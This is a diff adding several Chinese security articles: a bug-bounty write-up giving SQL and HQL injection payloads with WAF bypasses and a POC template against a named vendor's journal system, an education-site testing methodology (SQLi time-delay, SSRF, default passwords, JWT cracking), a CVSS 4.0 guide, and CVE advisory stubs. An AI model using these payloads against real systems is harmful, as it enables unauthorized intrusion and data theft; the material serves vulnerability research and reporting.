+看来只能硬碰硬了。
+
+在大量地翻阅资料后,我找到了它:花括号绕过
+```
+select{a`username`}from+companyuser
+```
+
+盲猜央企的自制WAF是串正则匹配规则?
+
+有时候,最好的绕过不是诸如包体变形、白名单等,而是直接对症下药,寻求语句的有效变体。
+
+试图注出具体数据:
+```
+and+ascii(mid((select{a`username`}from+compayuser+where+userid>1),1,1))=5201314
+```
+
+加号替代空格并不是必须的,纯属个人习惯。
+### 5. 通杀
+
+既然是央企站群,那么总有几个使用相同技术栈的吧?
+
+构建Google语法,然后就喜提了几乎所有子公司及研究所的网站...
+
+到这里故事还并没有结束,后台的故事才刚刚开始。
+
+盲注显然行不通。
+
+在我的试探下,我发现它的登录逻辑大致是:以键入的用户名查询数据库中的对应密码,然后尝试全匹配键入的密码
+
+万能密码显然行不通,但这里也引发了我的深思:**并联注入拼接由我定义的密码是否能够实现万能密码的效果呢?**
+
+回到正题, 这是我第一次应用笛卡尔积时间盲注:
+```
+%df'+and+ascii(mid(database(),1,1))=5201314+and+(SELECT+count(*)FROM+ information_schema.columns+A)%23
+```
+
+
+
+依旧通杀。(信息收集不齐,最终统计是12个站点)
+
+
+其次就是未授权etc..部分后台功能点未鉴权。
+
+提一嘴,z0scan意外在央企网站前台发现一处文本中的CRLF~
+# 二、EDUSRC通杀:OH MY HQL!
+## 1. 前述
+
+在教育系统的漏洞挖掘中,我养成了一个习惯:**在任何参数点里,都先试一下-1或者'-'1。**
+
+这通常情况下不会触发WAF,同时在MySQL上,这对字符型参数值同样有效。
+
+这是一处HQL注入漏洞(在补天中请选择SQL注入提交,EDU选其它)
+
+简单普及下:HQL注入就是利用Hibernate框架产生的注入点,使用的是HQL语法,但值得注意的是它会将合规的HQL语法转换为SQL语法后放入数据库中执行。
+
+你可以这样理解————一个加了壳的数据库。
+
+值得一提的是这套系统使用的是**MSSQL+Hibernate**
+,而非网上HQL注入所普遍的MySQL+Hibernate。
+## 2. POC
+
+POC逻辑很简单:通过-0
+判断是否允许插入字符,如修复则会返回错误页而不应返回任何有效数据。
+```
+id: magetaikebaokan-hqlinfo: name: 北京玛格泰克科技发展有限公司报刊系统前台HQL注入 author: JiuZero severity: high description: 北京玛格泰克科技发展有限公司报刊系统前台HQL注入 reference: - https://github.com/ - https://cve.mitre.org/ metadata: max-request: 1 shodan-query: "" verified: true yakit-info: sign: 8540d31e15eb7c4d541d09b938134eeehttp:- method: POST path: - '{{RootURL}}/CN/article/ advancedSearchResult.do' headers: Accept: '*/*' Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 Content-Length: "295" Content-Type: application/x-www-form-urlencoded; charset=UTF-8 DNT: "1" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0 X-Requested-With: XMLHttpRequest body: filterName=Journal&searchSQL=1-0%5BJournal%5D max-redirects: 3 matchers-condition: and matchers: - type: word part: body words: - id="journalFilterTable" condition: and - type: status part: body status: - "200" condition: and# Generated From WebFuzzer on 2025-01-03 14:13:17
+```
+
+**不止一个路径。**
+```
+/CN/figure/ figureSearchFilter.do/CN/figure/ figureSearch.do/CN/article/ searchArticleResultFilterNew.do/CN/article/ searchArticleResultFilter.do/CN/article/ advancedSearchResult.do
+```
+
+注入点判断方法相似,判断-0
+是否能够返回有效数据即可。
+
+**Yakit**
+POC报告:
+
+
+## 3. EXP
+
+这里主要利用了前面那篇文章所提及的**低于 5.x版本逃逸:WHERE子句中可以使用数据库本身的函数**
+1. 特殊情况下有效(后端代码会自动处理括号闭合问题)
+
+```
+searchSQL=(1)+and(UNICODE(substring(user,1,1))+between+109+and+109)+group+by+j_id[Journal]
+```
+1. 常规情况
+
+```
+searchSQL=1/(case+when+ascii(substring(db_name(),1,1))+between+0+and+1+then+1+else+0+end)[Journal]
+```
+1. 报错返回数据库用户名
+
+```
+searchSQL=1/(user)%5BJournal%5D
+```
+1. 注出数据(必须返回报错信息!)
+
+```
+searchSQL=(4)+and+(select+substring(id,1,0)+from+Article+where+id%3d1)%3d1)+group+by+j_id[Journal]
+```
+## 4. 特殊的WAF绕过
+
+一次意外(/**/
+在HQL中被解析为空字符)让我发现了这个有趣的绕过方法————任意位置/**/
+绕过,以2为例:
+```
+searchSQL=1/(ca/**/se+when+a/**/scii(subs+tring(db_na/**/me(),1,1))+betwe/**/en+0+and+1+then+1+else+0+end)[Journal]
+```
+
+这个绕过方法对极大多数WAF是工作的,而其它绕过方法参考MSSQL绕过方法即可~
+
+
+
+不算什么大通杀,证书也就拿了几本..(有些是之前刷的)
+
+# Z0SCAN
+
+看了一圈主流工具——Xray被动扫描精准但功能局限,EZ背离开源初心转向商业化。
+
+z0scan存在的意义,不在于比它们“更强”,而在于守住一些它们正在丢失的东西。
+
+
+## 初心:工具应该解决问题,而非制造问题
+
+EZ的积分制把用户贡献变成了商业筹码,这是开源精神的异化。工具的核心是信任,当用户开始怀疑“我的数据会被如何利用”,工具就死了。
+
+z0scan选择GPLv2,是选择把**所有权还给社区**
+。代码透明,插件开源,贡献永远属于贡献者。
+
+商业可以有(如企业支持服务),但绝不通过阉割免费版来逼迫付费。**安全工具的底线,是让用户安心,而非焦虑。**
+## 专注:在“全能”的时代,做好一件事
+
+Xray的问题恰是它的优点:它太专注被动扫描了,以至于无法做别的。但这反过来定义了它的纯粹。
+
+z0scan继承了这种专注。不做大而全的主机扫描器,而是把**被动扫描做到足够深**
+——50+漏洞类型插件、AI降误报、智能上下文识别。
+
+通过开放API和插件架构保持扩展性,但核心永远围绕“如何更聪明地分析流量,而不是更暴力地发送流量”。
+## 克制:好的工具懂得“不打扰”
+
+商业工具在追求“功能全面”时,常忘记最朴素的需求:用户有时只想**安静、轻量、简单地**
+完成一次扫描。
+
+z0scan的被动模式就是为此设计:设置代理,像正常用户一样浏览,让工具在后台默默学习、分析。
+
+不产生攻击性流量,不触发不必要的告警。**最优雅的安全测试,应该像一场静默的对话,而非一场喧嚣的战争。**
+## 最后
+
+它可能永远不会成为功能最全的那个,但我希望它能成为**最值得信任的那个**
+——代码透明、逻辑清晰、永远站在用户这一边。
+
+在这个工具日益复杂、选择日益困难的时代,**“简单、纯粹、可靠”本身就是一种力量,一种尊严。**
+
+**代码会过时,功能会迭代,但工具的灵魂——那份解决问题的真诚——值得用每一行代码去捍卫。**
+ 这是z0scan的故事,也是一个关于“工具为何而生”的微小回答。
+# 相关信息
+1. z0scan
+
+1. CRLF双重响应
+
+1. HQL注入深入利用
+
+1. SQL逻辑短路
+
+1. [SQL注入绕过总结](https://mp.weixin.qq.com/s?__biz=MzYyMzg0MTY3Mw==&mid=2247483738&idx=1&sn=dda8740e8d4e335a0e8afe9b1467c6a3&scene=21#wechat_redirect)
+
+
+1. Xray议题
+
+1. Afrog议题
+
+注:所有测试均在授权范围内进行,漏洞已提交给相关厂商并修复。部分具体信息为虚构。技术细节公开仅用于安全研究交流,请勿用于非法测试。
+
+
diff --git a/doc/2026-01/全是高危漏洞?CVSS 4.0 落地指南想帮安全团队挤挤漏洞的水分.md b/doc/2026-01/全是高危漏洞?CVSS 4.0 落地指南想帮安全团队挤挤漏洞的水分.md
new file mode 100644
index 00000000..ffeffc89
--- /dev/null
+++ b/doc/2026-01/全是高危漏洞?CVSS 4.0 落地指南想帮安全团队挤挤漏洞的水分.md
@@ -0,0 +1,131 @@
+# 全是高危漏洞?CVSS 4.0 落地指南想帮安全团队挤挤漏洞的水分
+原创 玄月调查小组
+ 玄月调查小组 玄月调查小组 2026-01-21 01:40
+
+对企业安全团队来说,最头疼的不是漏洞多,而是每个漏洞看起来都是**高危**
+。
+
+长期以来,大家习惯了直接套用厂商给出的**分数**
+。厂商说这个洞是 9.8 分,大家就判定为高危漏洞,得连夜打补丁。但这种做法其实和企业环境脱节:厂商并不知道你的服务器是在公网裸奔,还是在内网的防护之后?
+
+最近,CVSS的制定者FIRST发布的《CVSS 4.0 消费者实施指南》把这个问题摆到了台面上。
+
+这份指南就想教安全团队一件事:怎么给虚高的漏洞
+挤挤水分
+,让漏洞管理回归实战。
+## 别被厂商的“高分”漏洞带节奏
+
+厂商给出的分数往往反映的是“最坏情况下的理论严重性”。但在实际攻防中,这种分数的参考价值正在缩水。
+> 只有不到 5% 的 CVE 漏洞存在
+已知利用方式
+。
+
+
+如果一个 9.8 分的漏洞根本没有利用工具,而一个 7.0 分的漏洞正被黑客大规模扫描,优先处理哪一个?
+
+如果你直接拿CVSS分数来排优先级,结果就是资源错配——把精力花在了理论上很危险、但实际上根本打不进来的漏洞上。
+## CVSS 评分的生命周期
+
+指南明确指出:作为消费者,你的任务不是被动接受分数,而是**丰富**
+它。
+
+CVSS 4.0 的核心正在于引入了 威胁(Threat) 和 环境(Environmental) 指标。通过这两个维度的修正,原本高危漏洞的 9.8 分可能会断崖式下跌。
+
+1. **生产者(Producer):**
+ 发现漏洞,发布 Base Score(最坏情况)。
+
+1. **威胁情报(Enrich Threat):**
+ 消费者引入威胁情报,确认该漏洞是否真的有利用代码或正在被攻击。
+
+1. **环境上下文(Enrich Environment):**
+ 消费者根据自身IT架构(如是否在内网、是否有WAF)调整指标。
+
+1. **优先级(Prioritize):**
+ 根据最终计算出的分数进行修复。
+
+
+
+
+## 你买的防火墙和 IPS 总不是摆设
+
+在 CVSS 4.0 的逻辑里,如果你的资产放在防火墙后面,或者 IPS 已经更新了规则,你就完全有理由把分降下来。比如,攻击向量(AV)可能从“网络”受限至“本地”,攻击复杂度(AC)也会因为防御手段的存在而从“低”变成“高”。
+## 如何降低漏洞评分
+
+指南中给出了硬核的“降分”实操示例:
+### 修改攻击向量 (Modified Attack Vector, MAV)
+- **场景:**
+ 厂商说这个漏洞是“网络攻击(AV:N)”。
+
+- **你的环境:**
+ 你的设备在防火墙后面,或者只能通过 VPN 访问。
+
+- **操作:**
+ 将指标改为 **“相邻网络(Adjacent)”**
+ 甚至 **“本地(Local)”**
+。
+
+- **结果:**
+ 攻击难度指数级上升,评分大幅下降。
+
+
+
+
+### 修改攻击复杂度 (Modified Attack Complexity, MAC)
+- **场景:**
+ 漏洞很容易利用。
+
+- **你的环境:**
+ 你部署了 IPS,并且已有针对该漏洞的拦截规则。
+
+- **操作:**
+ 将攻击复杂度从“低”改为 **“高”**
+。
+
+- **结果:**
+ 黑客想利用漏洞,得先绕过你的 IPS。
+
+
+
+
+## 进阶路线:CVSS 成熟度模型
+
+不同企业投入不同,指南还提出了一个 5 级的 **CVSS 成熟度模型**
+:
+- **Level 0 (无):**
+ 不使用 CVSS。
+
+- **Level 1 (基础):**
+ 仅使用供应商的基础分数。
+
+- 现状: 大多数企业的现状。
+
+- 代价: 容易产生“报警疲劳”,被大量误报淹没。
+
+- **Level 2 (威胁感知):**
+ 引入威胁情报 (Threat Intelligence)。
+
+- 做法: 看看 CISA KEV 或 ExploitDB。如果一个漏洞没有公开的利用代码(Exploit),那就先别急着修。
+
+- 数据: 根据当前情报源(如 FIRST/EPSS、Cyentia 和 CMU SEI)的数据,实际上只有不到 **6%**
+ 的 CVE 拥有有效利用代码。仅此一步,就能过滤掉 90% 的“假高危”。
+
+- **Level 3 (环境感知):**
+ 结合 CMDB 和环境指标。
+
+- 做法: 自动化地根据环境信息,例如资产位置(如内网/外网)调整分数。这是高阶玩家的标志。
+
+## 最后:拒绝无效内卷,回归理性
+
+**CVSS 评分不是静态的数字,而是一个动态的框架**
+ 。在数字化转型的洪流中,漏洞数量激增。如果继续死守“见洞就补”的旧策略,安全团队迟早会被累垮。
+
+安全团队应该通过了解自身的网络防御措施(环境指标)和外部黑客动态(威胁指标),来
+重写
+漏洞的评分,帮助企业从海量的高危漏洞风险中解脱出来,专注于那些真正能被利用且后果严重的漏洞。
+
+
+## 参考资料
+
+Common Vulnerability Scoring System version 4.0 Consumer Implementation Guide
+:https://www.first.org/cvss/v4.0/implementation-guide
+
diff --git a/doc/2026-01/教育类SRC漏洞挖掘场景分析.md b/doc/2026-01/教育类SRC漏洞挖掘场景分析.md
new file mode 100644
index 00000000..2214c3c1
--- /dev/null
+++ b/doc/2026-01/教育类SRC漏洞挖掘场景分析.md
@@ -0,0 +1,293 @@
+# 教育类SRC漏洞挖掘场景分析
+原创 youki
+ youki C4安全 2026-01-21 02:53
+
+教育类SRC常见的资产包括高校官网、教务系统、选课系统、成绩查询、校园一卡通、学生管理系统、科研平台、在线考试系统等。
+### 一、信息收集
+### 这一步还是老生常谈的信息收集,熟悉的师傅们可以跳过
+#### 1. 域名与子域名枚举
+- **目标:****发现所有可能的Web入口**
+- **工具与方法:**
+- 使用 amass
+、subfinder
+、assetfinder
+ 进行子域名爆破:
+
+```
+amass enum -d edu.cn -o subdomains.txt
+subfinder -d jiaoyu.edu.cn -o subs.txt
+```
+- 利用搜索引擎语法(Google Dork):
+
+```
+site:jiaoyu.edu.cn inurl:login
+site:*.edu.cn intitle:"教务系统"
+```
+
+
+- 查询证书透明度日志(如 crt.sh)获取历史子域名。
+
+
+
+
+#### 2. 资产识别与分类
+- 使用 httpx
+ 批量探测存活服务:
+
+```
+cat subdomains.txt | httpx -status-code -title -tech-detect -o alive.txt
+```
+- 重点关注以下路径和系统:
+
+- /jwglxt
+ —— 教务管理系统(常见为正方、青果、东师等)
+
+- /xxglxt
+ —— 学生管理
+
+- /ksxt
+ —— 考试系统
+
+- /ykt
+ —— 一卡通系统
+
+- /lib
+ 或 /opac
+ —— 图书馆系统
+
+
+#### 3. 技术栈识别
+- 常见技术组合:
+
+- 后台框架:Struts2、Spring MVC、ASP.NET(老系统居多)
+
+- 数据库:Oracle、SQL Server(部分MySQL)
+
+- 中间件:Tomcat、IIS、WebLogic(较少但存在)
+
+使用 Wappalyzer
+ 浏览器插件或 whatweb
+ 命令行工具识别
+
+### 二、常见漏洞点与利用思路
+#### 1. 弱口令与默认账户
+- **原因:管理员设置弱密码,或未修改出厂默认账号**
+- **测试方式:**
+- 用户名:admin
+, root
+, jwc
+, system
+
+- 密码:123456
+, admin123
+, jiaoyu@2023
+, Password1
+
+- 尝试登录页面使用常见组合:
+
+#### 2. SQL注入(SQLi)
+- **典型场景:**
+- 成绩查询接口:/score?stu_id=123
+
+- 课程查询:/course?id=1'
+
+- **检测方法:**
+- 输入 '
+ 观察是否报错(如 Oracle 的 ORA-xxxxx
+ 错误)
+
+- 使用时间盲注 payload 测试延迟响应
+
+```
+http://xxx/score?stu_id=1'; IF(1=1) WAITFOR DELAY '0:0:5';--
+```
+#### 3. 越权访问(水平/垂直越权)
+- **原理:系统未校验当前用户是否有权访问指定资源。**
+- **案例:**
+- A学生访问 /user/profile?uid=1001
+,修改参数为 uid=1002
+ 查看他人信息。
+
+- 普通教师尝试访问 /admin/config
+ 管理页面。
+
+- **验证方法:**
+- 登录两个不同权限账号(如学生和老师),抓包比较请求差异。
+
+- 修改关键参数(如 userid
+, role
+, deptid
+)观察返回内容变化。
+
+- 使用 Burp Suite 的 Compare
+ 功能对比响应差异。
+
+#### 4. 文件上传漏洞
+- **常见位置:**
+- 头像上传
+
+- 论文提交系统
+
+- 教师资料上传
+
+- **绕过技巧:**
+- 后缀限制绕过:.php3
+, .phtml
+, .htaccess
+
+- MIME 类型伪造:将 Content-Type: image/jpeg
+ 发送 PHP 内容
+
+- 配合解析漏洞(如 Apache 解析 .php.
+)
+
+#### 5. 反序列化漏洞(Java系系统常见)
+- **目标系统:基于 Struts2 或 Spring 的老版教务系统。**
+- **检测点:**
+- 检查是否存在 /struts-action
+ 类路径
+
+- 查看 Cookie 或 Header 是否包含 Base64 编码的对象数据
+
+- 使用 ysoserial
+ 构造 payload(仅限内网测试)
+
+#### 6. SSRF 与内网探测
+- **应用场景:**
+- 系统提供“导入外部图片”、“抓取网页快照”等功能
+
+- 利用该功能访问内部地址(如 http://127.0.0.1:8080/manager/html
+)
+
+- 示例请求:
+
+```
+POST /import_image HTTP/1.1
+Host: service.edu.cn
+Content-Type: application/x-www-form-urlencoded
+
+url=http://127.0.0.1:8080/manager/html
+```
+#### 7. JWT 安全问题
+- 新兴系统开始采用 Token 认证,常见于移动端API。
+
+- 检查方式:
+
+- 获取 JWT Token(通常在 Authorization 头)
+
+- 使用 jwt.io 解码,查看是否使用 none
+ 算法或弱密钥
+
+- 若算法为 HS256
+ 但密钥简单,可用 hashcat
+ 破解:
+
+```
+hashcat -m 16500 jwt_token.txt /usr/share/wordlists/rockyou.txt
+```
+###
+### 三、专项突破策略
+#### 1. 教务系统专项(以正方为例)
+- 默认路径:/jwglxt/xtgl/login_sso.html
+
+- 常见漏洞:
+
+- 弱口令 + 无验证码 → 可批量爆破
+
+- 存在 getCaptcha
+ 接口但未绑定session → 可绕过验证码
+
+- 参数 yh_id
+ 控制用户ID → 存在越权风险
+
+- 版本指纹:
+
+- 查看登录页源码中的版本号或JS路径,判断是否为已知存在漏洞的旧版本(如 V5.0.1)
+
+#### 2. 在线考试系统
+- 关键风险:
+
+- 时间控制不当:前端控制倒计时 → 可通过修改本地时间跳过
+
+- 题目预加载:一次拉取所有题目 → 可提前查看答案
+
+- 提交结果可控:答题结果由客户端组装 → 可构造满分包重放
+
+- 抓包分析重点:
+
+- startExam
+ → submitExam
+
+- 检查是否有签名机制,若无则极易被篡改
+
+#### 3. 校园统一认证中心(CAS)
+- 地址通常为:/cas/login
+
+- 攻击面:
+
+- 四次握手流程中 ticket 泄露
+
+- Service 参数开放重定向
+
+- TGT Cookie 未设置 HttpOnly → XSS 可盗取
+
+- 可结合 XSS 实现会话劫持,进而冒充任意用户登录各子系统。
+
+感兴趣的师傅可以公众号私聊我
+进团队交流群,
+咨询问题,hvv简历投递,nisp和cisp考证都可以联系我
+
+**内部src培训视频,内部知识圈,可私聊领取优惠券,加入链接:https://wiki.freebuf.com/societyDetail?society_id=184**
+
+**安全渗透感知大家族**
+
+
+
+(新人优惠券折扣
+30.0
+¥,扫码即可领取更多优惠)
+
+
+
+内部交流群
+
+
+
+****
+**加入团队、加入公开群等都可联系微信:yukikhq,搜索添加即可**
+
+****
+END
+
+
+
+
+**往期回顾**
+
+
+
+
+
+
+
+[实战SRC-漏洞挖掘之XSS案例](https://mp.weixin.qq.com/s?__biz=MzkzMzE5OTQzMA==&mid=2247488557&idx=1&sn=c0fde2a563e2e3df0f90eb7df494dea4&scene=21#wechat_redirect)
+
+
+
+
+ [海外SRC挖掘-业务逻辑漏洞案例分享](https://mp.weixin.qq.com/s?__biz=MzkzMzE5OTQzMA==&mid=2247488515&idx=1&sn=6e33530abdd437c4fd7e0b4d7435105c&scene=21#wechat_redirect)
+
+
+
+
+[FOFA API 驱动的团队资产发现工具 - Cloud Server](https://mp.weixin.qq.com/s?__biz=MzkzMzE5OTQzMA==&mid=2247487707&idx=1&sn=66c094a3b3d359f9d6beded7a909347b&scene=21#wechat_redirect)
+
+
+
+
+[闪紫 - AI赋能社工字典生成工具,自动联想关联变体](https://mp.weixin.qq.com/s?__biz=MzkzMzE5OTQzMA==&mid=2247488623&idx=1&sn=1947cb0ef9ccd230c3e04c698afd290e&scene=21#wechat_redirect)
+
+
+
+
+
diff --git a/doc/2026-01/旭帆易云视信息科技有限公司 EasyCVR getbaseconfig 信息泄露漏洞(CVE-2025-1595).md b/doc/2026-01/旭帆易云视信息科技有限公司 EasyCVR getbaseconfig 信息泄露漏洞(CVE-2025-1595).md
new file mode 100644
index 00000000..bf610353
--- /dev/null
+++ b/doc/2026-01/旭帆易云视信息科技有限公司 EasyCVR getbaseconfig 信息泄露漏洞(CVE-2025-1595).md
@@ -0,0 +1,111 @@
+# 旭帆易云视信息科技有限公司 EasyCVR getbaseconfig 信息泄露漏洞(CVE-2025-1595)
+Superhero
+ Superhero Nday Poc 2026-01-21 02:33
+
+
+
+
+
+
+
+内容仅用于学习交流自查使用,由于传播、利用本公众号所提供的
+POC
+信息及
+POC对应脚本
+而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号Nday Poc及作者不为此承担任何责任,一旦造成后果请自行承担!
+
+
+**01**
+
+**漏洞概述**
+
+
+旭帆易云视信息科技有限公司 EasyCVR getbaseconfig存在信息泄露漏洞,未经身份验证的远程攻击者可利用此漏洞获取系统等敏感信息。
+**02******
+
+**搜索引擎**
+
+
+fofa:
+```
+title="EasyCVR"
+```
+
+
+
+
+**03******
+
+**漏洞复现**
+
+
+
+
+**04**
+
+**自查工具**
+
+
+nuclei
+
+
+
+afrog
+
+
+
+
+**05******
+
+**修复建议**
+
+
+1、关闭互联网暴露面或接口设置访问权限
+
+2、升级至安全版本
+
+
+**06******
+
+**内部圈子介绍**
+
+### 【Nday漏洞实战圈】🛠️
+
+专注公开1day/Nday漏洞复现 · 工具链适配支持
+
+✧━━━━━━━━━━━━━━━━✧
+
+🔍 **资源内容**
+
+▫️ 整合全网公开1day/Nday漏洞POC详情
+
+▫️ 适配Afrog/Nuclei检测脚本
+
+▫️ 支持内置与自定义POC目录混合扫描
+
+🔄 **更新计划**
+
+▫️ 每周新增7-10个实用POC(来源公开平台)
+
+▫️ 所有脚本经过基础测试,降低调试成本
+
+🎯 **适用场景**
+
+▫️ 企业漏洞自查 ▫️ 渗透测试 ▫️ 红蓝对抗 ▫️ 安全运维
+
+✧━━━━━━━━━━━━━━━━✧
+
+⚠️ **重要声明**
+
+▫️
+仅限合法授权测试,严禁违规使用
+
+**▫️虚拟资源服务,购买后不接受任何形式退款**
+
+▫️
+付款
+前请评估需求,慎重考虑
+
+
+
+
diff --git a/doc/2026-01/漏洞复现 React(next.js)存在远程命令执行漏洞(CVE-2025-55182).md b/doc/2026-01/漏洞复现 React(next.js)存在远程命令执行漏洞(CVE-2025-55182).md
new file mode 100644
index 00000000..89a37e48
--- /dev/null
+++ b/doc/2026-01/漏洞复现 React(next.js)存在远程命令执行漏洞(CVE-2025-55182).md
@@ -0,0 +1,148 @@
+# 漏洞复现 | React(next.js)存在远程命令执行漏洞(CVE-2025-55182)
+ 实战安全研究 2026-01-21 01:32
+
+**免责声明**
+| 本文仅用于技术学习和安全研究,请勿使用本文所提供的内容及相关技术从事非法活动,由于传播和利用此文所提供的内容或工具而造成任何直接或间接的损失后果,均由使用者本人承担,所产生一切不良后果与文章作者及本账号无关。如内容有争议或侵权,请私信我们!我们会立即删除并致歉。谢谢! |
+1
+
+**漏洞描述**
+
+
+
+React Server Components 远程代码执行漏洞(CVE-2025-55182),由于react server反序列化rsc数据的过程中存在缺陷,未经过身份认证的攻击者可利用该漏洞执行任意代码。该漏洞影响范围较广,使用了React Server Components作为服务端组件的应用都可能受到影响。
+
+2
+
+**影响版本**
+
+
+
+React Server Components 19.0.0
+
+19.1.0<=React Server Components<=19.1.1
+
+19.2.0<=React Server Components<=19.2.1
+
+v15.0.0 <=Next.js<= v15.0.4
+
+v15.1.0 <=Next.js <= v15.1.8
+
+v15.2.x <=Next.js <= v15.5.6
+
+v16.0.0<= Next.js <= v16.0.6
+
+v14.3.0-canary.77 <= Next.js
+
+
+3
+
+**fofa语法**
+
+
+
+fofa语法
+```
+app="Next.js" && body="/_next/static/chunks/app/"
+```
+
+
+
+
+4
+
+**漏洞复现**
+
+
+
+执行命令
+
+
+
+注入内存马执行命令
+
+
+
+
+5
+
+**检测POC**
+
+
+
+nuclei
+
+
+
+afrog
+
+
+
+
+6
+
+**漏洞修复**
+
+
+1、建议联系厂商打补丁或升级版本。
+
+2、增加Web应用防火墙防护。
+
+3、关闭互联网暴露面或接口设置访问权限。
+
+7
+
+**内部圈子**
+
+
+**现在已更新POC数量 1700+(中危以上)**
+
+
+🔥 **1day/Nday 漏洞实战圈上线**
+ 🔥
+
+还在到处找公开漏洞 POC?
+
+这里专注整合全网1day/Nday漏洞
+POC和复现
+,一站式解决你的痛点!
+
+🔍
+圈子福利
+
+✅ 整合全网 1day/Nday 漏洞POC,附带复现步骤,新手也能快速上手
+
+✅ 每周更新 10-15 个POC测试脚本,经过实测验证,到手就能用
+
+✅ 完美适配
+Nuclei/A
+frog
+ 扫描工具,脚本无需额外修改,即拿即用
+
+✅ 重磅福利:免登录免费 FOFA 查询,无需账号也能高效资产测绘
+
+✅ 专属权益:提供指纹识别库,指纹库持续更新
+
+💡
+适合对象
+
+渗透测试🔹攻防演练🔹安全运维🔹企业自查
+🔹SRC漏洞挖掘
+
+👉 不管你是参加攻防演练的战队成员(红队/蓝队),或者是做渗透测试的工程师,还是做src漏洞挖掘和企业安全自查的运维人员等职业,这里的资源都能适合你
+
+⚠️
+重要提醒
+
+仅限授权范围内的合法安全测试,严禁用于未授权攻击行为!
+
+本服务为虚拟资源服务,一经购买概不退款,请按需谨慎购买!
+
+现在加入圈子价格是59.9元(
+交个朋友啦
+),后面将调整涨价啦。
+
+
+
+
+
+
diff --git a/doc/2026-01/漏洞挖掘实战系列(第17期):反序列化漏洞全解析 PHP∕Java∕Python 三大语言实战.md b/doc/2026-01/漏洞挖掘实战系列(第17期):反序列化漏洞全解析 PHP∕Java∕Python 三大语言实战.md
new file mode 100644
index 00000000..8764bd76
--- /dev/null
+++ b/doc/2026-01/漏洞挖掘实战系列(第17期):反序列化漏洞全解析 PHP∕Java∕Python 三大语言实战.md
@@ -0,0 +1,256 @@
+# 漏洞挖掘实战系列(第17期):反序列化漏洞全解析 PHP/Java/Python 三大语言实战
+原创 点击关注👉
+ 点击关注👉 网络安全学习室 2026-01-21 02:30
+
+反序列化漏洞,是 Web 安全里**最危险、最复杂、最容易出高危漏洞**
+的类型之一。
+
+它的危害极大:
+- 可直接 getshell
+
+- 可执行任意命令
+
+- 可读取敏感文件
+
+- 可绕过权限
+
+- 可攻击内网服务
+
+但它的学习难度也很高:
+- 要懂语言特性
+
+- 要懂魔术方法
+
+- 要懂利用链
+
+- 要懂 POP 链构造
+
+- 要懂黑盒/白盒分析
+
+这一期,我把反序列化漏洞拆成 **PHP、Java、Python**
+ 三大块,每一块都讲:
+- 原理
+
+- 关键函数/魔术方法
+
+- 典型漏洞链
+
+- 真实案例
+
+- 可直接用的 Payload
+
+你看完这一期,基本能看懂 80% 的反序列化题目,也能在真实环境中挖反序列化漏洞。
+
+
+## 一、反序列化漏洞为什么这么危险?
+
+因为它允许你:
+
+**把恶意构造的数据,让服务器“自动执行”。**
+
+简单说:
+
+你传一段“精心构造的字符串”,服务器把它还原成对象,然后——
+
+**对象的方法被自动调用,你的代码被自动执行。**
+
+这就是反序列化漏洞的恐怖之处。
+## 二、PHP 反序列化漏洞(CTF 最常考 + 真实环境最常见)
+
+PHP 反序列化漏洞主要依赖:
+- __wakeup()
+
+- __destruct()
+
+- __toString()
+
+- __call()
+
+- __get()
+
+- __set()
+
+- __isset()
+
+- __unset()
+
+- __invoke()
+
+这些都是“魔术方法”,会在特定场景自动调用。
+### 1. PHP 反序列化漏洞原理
+
+当你调用:
+
+
+
+如果 $_GET['data'] 可控,你就可以构造恶意对象,让其魔术方法自动执行。
+### 2. 典型利用链示例(CTF 高频)
+
+示例:
+
+
+
+序列化后的数据类似:
+
+
+
+如果你把 name 改成:
+
+
+
+则反序列化后 __destruct() 会执行:
+
+
+
+成功执行命令。
+### 3. PHP 反序列化典型 Payload
+
+
+### 4. PHP 反序列化真实案例(ThinkPHP 漏洞简化版)
+
+漏洞代码:
+
+
+
+构造 Payload:
+
+
+
+反序列化后自动执行:
+
+
+## 三、Java 反序列化漏洞(真实环境危害最大)
+
+Java 反序列化漏洞是企业级系统里**最危险的漏洞类型之一**
+。
+
+原因:
+- Java 生态庞大
+
+- 反序列化链复杂
+
+- 一旦成功可直接 RCE
+
+- 大量框架存在反序列化漏洞(Apache Commons Collections、Fastjson、Jackson)
+
+### 1. Java 反序列化漏洞原理
+
+Java 的 ObjectInputStream.readObject() 会把字节流还原成对象。
+
+如果对象的 readObject() 方法被重写,且存在危险操作,就可能导致 RCE。
+### 2. 典型利用链:Apache Commons Collections
+
+利用链核心:
+
+
+
+最终可执行任意命令。
+### 3. Java 反序列化典型 Payload(ysoserial 生成)
+
+
+
+然后把 payload.ser 作为反序列化输入。
+### 4. Fastjson 反序列化漏洞(真实环境高频)
+
+Fastjson 在 parseObject 时,若 autoType 开启,可直接反序列化任意类。
+
+Payload:
+
+
+
+会触发 RMI 加载远程类,从而 RCE。
+## 四、Python 反序列化漏洞(CTF 常见 + 真实环境较少)
+
+Python 反序列化漏洞主要通过:
+- pickle
+
+- shelve
+
+- yaml
+
+- json(部分库存在漏洞)
+
+其中最危险的是 **pickle**
+。
+### 1. Python pickle 反序列化漏洞原理
+
+pickle.loads() 会把字节流还原成对象,并且会执行其中的某些函数。
+
+例如:
+
+
+
+反序列化后会自动执行:
+
+
+### 2. Python 反序列化典型 Payload
+
+
+### 3. PyYAML 反序列化漏洞(真实环境常见)
+
+YAML 支持构造 Python 对象,若使用 unsafe_load,可导致 RCE。
+
+Payload:
+
+
+## 五、反序列化漏洞挖掘技巧(实战必看)
+### 1. 黑盒挖掘技巧
+- 寻找参数中类似 base64 编码的内容
+
+- 寻找类似序列化格式的字符串(如 O:1:"A")
+
+- 尝试传入恶意序列化数据,观察是否报错
+
+- 尝试不同语言的序列化格式
+
+### 2. 白盒挖掘技巧
+- 寻找 unserialize()、readObject()、loads() 等危险函数
+
+- 寻找重写的魔术方法
+
+- 寻找可被控制的对象属性
+
+- 寻找可执行命令的函数调用链
+
+### 3. 利用链构造技巧
+- 从危险函数倒推
+
+- 寻找可触发的魔术方法
+
+- 寻找可控制的参数
+
+- 构造 POP 链(面向属性编程)
+
+## 六、反序列化漏洞防御建议(开发者必看)
+- 不要让用户控制反序列化输入
+
+- 不要使用不安全的反序列化函数
+
+- 限制反序列化的类
+
+- 使用安全的序列化格式(如 JSON)
+
+- 对输入进行严格校验
+
